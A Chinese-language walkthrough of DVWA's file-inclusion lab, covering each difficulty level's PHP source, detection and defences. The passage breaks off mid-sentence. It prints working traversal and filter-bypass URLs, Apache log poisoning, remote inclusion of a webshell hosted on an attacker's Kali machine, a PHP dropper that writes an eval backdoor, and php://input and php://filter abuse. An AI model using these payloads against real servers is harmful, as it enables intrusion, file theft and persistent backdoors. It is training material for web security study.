Low级:
我们分别点击这几个file.php文件
仅仅是配置参数的变化:
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=file3.php
如果我们随便写一个不存在的php文件,比如 :
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=text.php
还爆出了路径错误
我们先来分析原始内容:
再来分析我们构造好的网址:
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=../../php.ini
果然可以访问到正常的内容
我们再来尝试:
这表明了文件包含不仅仅能读文件,还能执行文件
当然,我们不能满足于此,我们甚至可以尝试从本地包含文件
我们在本地www目录下新建1.php ————> 写入<?php phpinfo();?>
我们输入网址:
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=http://127.0.0.1/1.php
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=http://127.0.0.1/1.txt
果然,外部包含文件成功,这样的话我们可以在1.php代码中写入恶意代码,拿到服务器的webshell
Medium级:
我们先来看源代码:
<?php // The page we wish to display
$file = $_GET[ 'page' ]; // Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file ); ?>
就是将输入的url参数中包含的“http://”、“https://”, ". . /" , ". . \""等字符串替换成空的字符串,
即过滤了远程文件包含, 对于本地文件包含并没有任何过滤:
本地包含:
远程包含:
http://127.0.0.1/DVWA/vulnerabilities/fi/?page=httphttp://://127.0.0.1/1.txt
High级:
源代码:
<?php // The page we wish to display
$file = $_GET[ 'page' ]; // Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" )
{
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
} ?>
我们输入:
Impossible级:
源代码:
<?php // The page we wish to display
$file = $_GET[ 'page' ]; // Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
} ?>
源码只允许四个文件名,有效的防止了文件的包含漏洞
利用:
1、读取敏感文件:
如直接../../../../../etc/passwd来读取本地文件内容,其他敏感文件的读取是类似的,前提是知道路径。
2、包含Apache日志文件:
可以用nc向目标服务器发送一条内容为一句话木马的错误的指令,让其保存在目标服务器的access.log日志文件中,再通过本地文件包含的方式实现利用。但是测试时没有成功,因为MySQL用户权限不足,不能读取Apache的日志,这时需要提权操作。
这里简便地演示一下,就直接修改文件夹属主,先到/var/log目录下,然后输入命令:chown www-data:www-data apache2 -R
接着以向日志文件写入phpinfo为示例,注意一点是,不能直接在URL栏填写,因为一些字符会被URL编码而不能达到目的,要使用Burpsuite截断代理修改数据包来进行:
然后到Metasploitable2的Apache2的access.log文件中查看:
确实是存在于日志文件中了。
最后直接包含该access.log文件即可:
3、远程包含shell
以Medium级为背景,在一台攻击者的服务器如Kali的/var/www/html/目录中放入一句话木马文件,在Kali中通过以下命令启动Apache
service apache2 start
然后在访问DVWA中利用远程文件包含漏洞访问Kali中的木马文件,从而实现利用。
这里注意的是,这个木马文件的内容不能为形如<?php echo shell_exec($_GET['cmd']);?>这种,因为这样只会在该木马文件存放的服务器服务器上执行而不是在目标服务器上执行,如下示例,a.php文件内容如上,但是返回的内容确实Windows服务器的而不是目标主机Metasploitable2的:
因而正确的姿势应该是,该木马文件实现将木马内容写入目标服务器中的1.txt文件,如:
<?php fputs(fopen("shell.php","w"), "<?php eval(\$_POST[aaa]);?>");?>
访问:
没有啥情况,接着到DVWA服务器查看吧:
存在后门PHP文件,没有问题。
这里示例以phpinfo测试:
4、配合文件上传漏洞:
和文件上传漏洞或者SQL注入漏洞等一同利用,通过利用前面的漏洞将一句话木马1.php文件上传到Web服务器中,然后再通过文件包含漏洞包含出现从而得到shell。
例如上传了一个名为1.txt的文件,内容为:<?php phpinfo();?>
直接包含该文件会将该文件以PHP来运行:
5、使用PHP封装协议读取文件和写入PHP文件:
1、读取文件:
先看看读取文件,如输入page参数值为:php://filter/read=convert.base64-encode/resource=../../../../../var/www/dvwa/hackable/uploads/1.txt
访问,可以看到显示了base64编码的内容:
使用Burpsuite的Decode模块解码:
可以发现就是之前上传的示例文件内容。
2、写入PHP文件:
前提条件是allow_url_include为on,则构造如下URL:192.168.220.128/dvwa/vulnerabilities/fi/?page=php://input
然后再POST需要输入的内容即可,这里通过Firefox的HackBar来POST数据:
可以看到输入的内容执行并返回了结果。
检测方法:
找到有包含函数的页面,对函数内容进行替换查看结果;
可以使用工具来代替手工的过程,如Kadimus、Burpsuite的插件LFI scanner checks等;
白盒测试时,可以在源代码中查看allow_url_fopen、allow_url_include等敏感函数是否开启。
防御方法:
1、严格判断包含中的参数是否外部可控。
2、路径限制,限制被包含的文件只能在某一个文件夹内,特别是一定要禁止目录跳转字符,如:“../”。
3、基于白名单的包含文件验证,验证被包含的文件是否在白名单中。
4、尽量不要使用动态包含,可以在需要包含的页面固定写好,如:“include("head.php")”。
5、可以通过调用str_replace()函数实现相关敏感字符的过滤,一定程度上防御了远程文